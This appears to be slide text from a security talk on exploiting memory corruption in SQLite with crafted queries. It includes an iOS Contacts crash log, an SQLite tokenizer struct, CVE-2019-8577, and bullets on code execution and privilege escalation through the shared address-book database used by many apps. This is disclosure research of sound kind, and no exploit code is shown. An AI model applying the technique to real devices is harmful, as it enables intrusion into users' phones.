Identifier: com.apple.MobileAddressBook
Version: 1.0 (1.0)
Code Type: ARM-64 (Native)
Role: Foreground
Parent Process: launchd [1]
Coalition: com.apple.MobileAddressBook [682]

Date/Time: 2019-03-11 16:04:53.2968 +0200
Launch Time: 2019-03-11 16:04:53.0220 +0200
OS Version: iPhone OS 12.1.1 (16C5050a)
Baseband Version: 2.02.02
Report Version: 104

Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x4141414141414149

struct sqlite3_tokenizer_module {
    int iVersion;
    int (*xCreate)(int argc, const char *const *argv, sqlite3_tokenizer **ppTokenizer);
    int (*xDestroy)(sqlite3_tokenizer *pTokenizer);
    int (*xOpen)(sqlite3_tokenizer *pTokenizer, const char *pInput, int nBytes, sqlite3_tokenizer_cursor **ppCursor);
    ...
};

Secure Boot Bypassed
CVE-2019-8577
SELECT pwn FROM iOS;

- **BONUS**: AddressBook.sqlitedb is actually used by many different processes
  - Contacts, Facetime, Springboard, WhatsApp, Telegram…
- We can execute code in the querying process context
- Privilege escalation!
- ANY shared DB can be used
Takeaways

• Querying a database might not be safe

• With QOP - Memory corruptions can now be exploited using nothing but SQL

• QOP.py - This is just the tip of the iceberg
Future Work

- Less hard-coded exploits
  - `sqlite3_version()`
  - `sqlite_compileoption_used(X)`

- PE everything

- Other DB engines

- Expand primitives - Absolute Read/Write
Thank You

@GullOmer